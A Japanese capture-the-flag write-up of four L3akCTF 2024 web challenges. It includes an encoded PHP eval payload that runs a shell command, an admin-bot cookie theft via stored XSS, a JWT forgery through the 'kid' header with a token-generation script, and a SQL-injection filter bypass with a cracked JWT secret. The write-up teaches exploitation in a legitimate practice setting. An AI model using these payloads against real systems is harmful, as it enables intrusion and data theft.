L3akCTF 2024 Writeup(Web)
目次
- [Web] Simple calculator
- [Web] I'm the CEO
- [Web] BatBot
- [Web] PEPE
[Web] Simple calculator
問題文のリンクをクリックすると以下のような画面。
よくわからないので添付されたソース(index.php
)を見ると、クエリパラメータformula
に入れた文字列をeval
してくれるみたい。
<?php function popCalc() { if (isset($_GET['formula'])) { $formula = $_GET['formula']; if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) { return 'Try Harder !'; } try { eval('$calc = ' . $formula . ';'); return isset($calc) ? $calc : '?'; } catch (ParseError $err) { return 'Error'; } } } $result = popCalc(); echo "Result: " . $result; ?>
試しにformula=3*2
とすると計算結果(eval
の結果)が出る。
flagはどこなんだろうと思って添付のDockerfile
を見るとこのような記述がある。
flag-{ランダムな文字列}.txt
というファイルが公開されているということになる。
RUN mv /var/www/html/flag.txt /var/www/html/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1).txt
このflagのファイル名を知る必要がある。
コマンドインジェクションして$ ls
とかしたいなあと思う。
index.php
によると、クエリパラメータformula
は変数formula
に格納された後、以下のようにしてeval
にかけられる。
そのあと、変数calc
の中身がブラウザに表示される。
eval('$calc = ' . $formula . ';'); return isset($calc) ? $calc : '?';
なので、クエリパラメータformula
にexec("ls")
を入れたいなあと思う。
でも無理。なぜならformula
にアルファベットを含めると弾かれるから。
if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) { return 'Try Harder !'; }
うーんと思って適当に調べてみると下記のページが見つかる。
php filter bypass - no letters or quotes · GitHub
この方法に従い、exec("ls | grep flag")
という文字列*1を変換。
(%3C%3C%3C_%0A%5C145%5C170%5C145%5C143%0A_)(%3C%3C%3C_%0A%5C154%5C163%5C40%5C174%5C40%5C147%5C162%5C145%5C160%5C40%5C146%5C154%5C141%5C147%0A_)
これをクエリパラメータformula
の値にセットしてリクエストしてやるとflagファイルの名前が出てくる。
これにアクセスすればフラグ文字列を獲得できる。
[Web] I'm the CEO
二つのページが与えられる。 一つはメモアプリ。もう一つはAdmin Bot(URLを与えるとそこにアクセスしてくれるbot)。 Admin BotがあるということはXSSかな?と思う。
メモアプリはこんな感じ。
テキストボックスにメモを入力してSave Note
を入力すると、
メモ内容が表示される(メモが保存される)。
ちなみにメモ内容が表示されるページ(/view/{UUID}
)はログインしていないと見られないが、
APIの対応するエンドポイント(/api/note/{同じUUID}
)にリクエストを投げれば未認証でも内容を見れてしまう*2。
したがって、XSS文字列をメモとして保存して、そのメモに対応する/api/note/{UUID}
にAdmin BotがアクセスすればXSSが成功しそう。
そういえば、flagはどこにあるんだろう?と思ってみてみるとbot/bot.js
に以下の記述がある。
Admin Botはリクエストするとき、Cookieにflag文字列をセットしていることがわかる。
bot: async (urlToVisit) => { const browser = await initBrowser; const context = await browser.createBrowserContext() try { // Goto main page const page = await context.newPage(); // Set Flag await page.setCookie({ name: "flag", httpOnly: false, value: CONFIG.APPFLAG, ← これ! domain: CONFIG.APPHOST }) let cookies = await page.cookies() console.log(cookies); // Visit URL from user console.log(`bot visiting ${urlToVisit}`) await page.goto(urlToVisit, { waitUntil: 'networkidle2' }); await sleep(8000); cookies = await page.cookies() console.log(cookies);
というわけで、XSSによってAdmin BotにCookieの内容をどこかに送信させればいけそう。 今回はRequest CatcherへCookieを送信させることにする。
下記XSS文字列をSave Note
する。
その後、http://192.168.64.3:8080/api/note/{UUID}
*3をAdmin Botへ入力し、アクセスさせる。
そうするとRequest Cacherへflag文字列が送られてくる。
[Web] BatBot
L3rkCTFのdiscordサーバーに"BatBot"というbotアカウントがいる。
こいつにDMを送ると、トークンを発行してくれる。
!generate {ユーザー名}
で発行してくれる。
!verify
コマンドでトークンを認証してもらうこともできる。
添付されているBatBotのソース(bot.py
)を見てみると、
ということが分かる。
@bot.command(name='verify') async def authenticate(ctx, *, token=None): try: if isinstance(ctx.channel, discord.DMChannel) == False: await ctx.send("I can't see here 👀 , DM me") else: result = verify_jwt(token) print(ctx.author) print(result) if isinstance(result, dict): username = result.get('username') role = result.get('role') if username and role=='VIP': await ctx.send(f'Welcome Sir! Here is our secret {flag}') elif username: await ctx.send(f'Welcome {username}!') else: await ctx.send('Authentication failed. Please try again.') else: await ctx.send('Authentication failed.') except: await ctx.send('Authentication failed.')
したがって、JWTに含まれるrole
の値をVIP
に改ざんしてBatBotに認証させたい、となる。
トークンをJSON Web Tokens - jwt.io でデコードさせてみる。
確かにペイロードの値にrole
が存在している。
ただしalg
がHS256
なので、秘密鍵が分からないと改ざんできない。
JWTの検証のために使われる秘密鍵は、kid
で指定されているファイルに含まれている。
def verify_jwt(token): try: header = jwt.get_unverified_header(token) kid = header['kid'] assert ("/" not in kid) with open(kid, 'r') as file: secret_key = file.read().strip() decoded_token = jwt.decode(token, secret_key, algorithms=['HS256']) return decoded_token except Exception as e: return str(e)
このようにkid
で秘密鍵の場所が指定されている場合、kid
に/dev/null
を設定することで検証の際の秘密鍵を空文字にすることができる。
その上で攻撃者は秘密鍵を空文字とすれば、トークンを改ざんすることができる(生成に使われた際の秘密鍵と認証に使われる際の秘密鍵が同一なので)。
ただし、今回はkid
に/
が含まれる際には認証が失敗するようになっている(↑のコードの5行目参照)。
そこで今回はkid
にbot.py
を指定してしまう。
その上で、秘密鍵としてbot.py
の内容を設定し、トークンを生成してしまう。
bot.py
のトークン生成時のコードを一部改変し、トークンを生成。role
の値はVIP
に改ざんしておく。
import jwt import os SECRET_KEY_FILE_PATH = 'bot.py' def generate_token(username=None): with open(SECRET_KEY_FILE_PATH, 'r') as file: secret_key = file.read().strip() headers = { 'kid': SECRET_KEY_FILE_PATH } token = jwt.encode({'username': username,'role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers) return token token = generate_token('awk138') print(token)
BatBotに対して!verify {生成したトークン}
というコマンドを送ってやると、flag文字列を吐いてくれる。
[Web] PEPE
お題のWebサイトで、ユーザー登録してログインするとこのような画面(/dashboard
)になる。
この/dashboard
にアクセスする際、Cookieに設定されたtoken
の値で認証済みかを判定している。
@app.route('/dashboard') def dashboard(): token = request.cookies.get('token') if not token: return render_template('login.html', error='Please login to access this page') # my code decoded_token = jwt.decode(token, secret, algorithms=['HS256']) username = decoded_token.get('username') username=username.lower() filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"] passed = next( ( i for i in filters if i in username ), None, ) if passed: return render_template('login.html', error='Invalid username or password') if not token: return redirect('/login') username = verify_jwt(token, 'HS256') if username: conn = sqlite3.connect("challenge.db") cursor = conn.cursor() query = f"SELECT fortune FROM users WHERE username='{username}';" result = cursor.execute(query) row = result.fetchone() if row: query = row[0].replace("\\n", "\n").replace("('", "").replace("',)", "") conn.close() return render_template('dashboard.html', fortunes=query) else: conn.close() return render_template('login.html', error='Invalid username or password') else: return redirect('/login')
token
の値は(また)JWT。
JWTに含まれるusername
の値が、DBテーブルuser
に含まれていれば認証済みと判定される。
query = f"SELECT fortune FROM users WHERE username='{username}';"
ブレースホルダーも使われていないので、明らかにSQLインジェクションできそうな感じ。
ちなみにflagはDBテーブルflag
に含まれている。
flag = os.environ.get('FLAG', 'L3AK{this_is_a_fake_flag}') conn = sqlite3.connect("challenge.db") cursor = conn.cursor() cursor.execute("CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL, password TEXT NOT NULL, fortune TEXT NOT NULL);") cursor.execute("CREATE TABLE IF NOT EXISTS flag (flag TEXT);") if not cursor.execute("SELECT * FROM flag;").fetchone(): cursor.execute(f"INSERT INTO flag (flag) VALUES ('{flag}');")
このため、username
を' UNION SELECT flag FROM flag --
としてやれば、flag文字列を抽出できるのではと思う。
SELECT fortune FROM users WHERE username='' UNION SELECT flag FROM flag --';
しかし、このようにSQLインジェクションするためには障壁が二つある。
- JWTに含まれる
username
の値を改ざんする必要がある - フィルターが仕込まれており、
username
に特定の文字列が入っていると認証が失敗する
1の「JWTに含まれるusername
の値を改ざんする必要がある」については実は簡単で、John the Ripperなどを使えばJWTの秘密鍵を暴くことができる。
$ john token.txt Using default input encoding: UTF-8 Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst secret (?) 1g 0:00:00:00 DONE 2/3 (2024-05-25 20:55) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..faithfaith Use the "--show" option to display all of the cracked passwords reliably Session completed.
ということで、秘密鍵はsecret
と分かる。
username
の値は改ざんし放題になる。
2の「フィルターが仕込まれており、username
に特定の文字列が入っていると認証が失敗する」について。
フィルター対象の文字列は以下の通り。
filters=[">", "+","=", "<","//", "|","'1", " 1", " true", "'true", " or", "'or", "/or",";", " ", " " ," and", "'and", "/and", "'like", " like", "%00", "null", "admin'","/like", "'where", " where", "/where"]
username
に' UNION SELECT flag FROM flag --
を設定したい身としてはwhitespaceが対象となっているのが痛い。
いろいろと調べてみるとwhitespaceは/**/
と置換できるらしいことが分かる。
なので、こうしてみる。
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/
この文字列をusername
として設定し、トークンを生成する。
Burp Suiteなどでtoken
の値を改ざんして/dashboard
へリクエストを送る。
そうするとレスポンスにflag文字列が含まれている。
と、ここまで書いたが自分はこの問題を解けなかった。
username
にこう設定すべきところを、
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag/**/--/**/
こうしていたため(--
がない)。最後まで全く気が付かなかった。
'/**/UNION/**/SELECT/**/flag/**/FROM/**/flag
凡ミス。反省。